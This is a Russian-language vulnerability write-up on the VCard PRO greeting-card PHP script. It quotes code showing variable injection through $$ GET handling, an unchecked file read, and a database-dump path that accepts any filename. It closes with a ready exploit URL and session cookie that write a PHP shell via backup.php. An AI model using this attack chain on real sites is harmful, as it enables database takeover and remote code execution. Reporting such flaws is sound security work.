Есть в интернете такой проект как "VCard PRO -сервис виртуальных поздравительных открыток". Официальным сайтом проекта находится по адресу
www.belchiorfoundry.com. Да вот незадача, программисты не слишком знакомы с вопросом
безопасности, в результате чего под ударом постоянно оказывается множество не в чём не виноватых сайтов.
Главной ошибкой разработчиков движка можно считать использование символических ссылок,
то есть это обыкновенная переменная, содержащая имя другой переменной. Для доступа к значению ссылки используется двойной знак $$.
Файл /incude/grab.inc.php содержит код:
if (!empty($_GET))
{
foreach ($_GET as $tmp_varname => $tmp_value)
{
$$tmp_varname = $tmp_value;
}
}
при выполнение которого переменные переданные методом GET становятся обычными, заменяя собой определённые ранее эти же переменные,
то есть в файле lib.inc.php функцией include загружается сначала файл с конфигами, а потом include/grab.inc.php в результате чего можно подменить конфигурационные данные для подключения к базе данных.
Подменив базу данных, в скриптах будут использоваться
данные из нашей базы, таким образом можно попасть в административную панель, заменив дополнительно cookies.
Следующей важной уязвимостью является возможность
просмотреть любой файл:
при импорте таблицы стилей в файле /admin/style.php
вызывается функция get_file_content(), из определение которой в файле /include/class/file.inc.php :
function get_file_content($source)
{
if (file_exists($source) == 0)
{
return false;
}
else
{
$stuff = @fread(@fopen($source, 'rb'), @filesize($source));
return $stuff;
}
}
видно что местонахождения файла ни как не проверяется.
И ещё не менее опасной уязвимостью является возможность сохранять дамп базы данных в любой
директории, в любом формате, в результате чего может быть выполнен код (например
php), заранее добавленный в базу.
Код файла /admin/backup.php:
if ($action == 'sqlfile')
{
$filehandle = fopen($filename,"w");
$result = $DB_site->query("SHOW tables");
while ($row = $DB_site->fetch_array($result))
{
fwrite($filehandle,sqldumptable($row[0])."\n\n\n");
echo "<p>Dumping $row[0]</p>";
}
fclose($filehandle);
message_die(GENERAL_MESSAGE, $msg['a_dbase_sucess_dumping']);
}
переменная $filename опять же нигде не проверяется.
Пример url:
/admin/backup.php?s=09be8c9e4e025c9&action= import&hostname=DBHOST&dbUser=DBUSER&dbPass=
DBPASS&dbName=DBNAME&action= sqlfile&filename=./shell.php
и cookies: su=09be8c9e4e025c9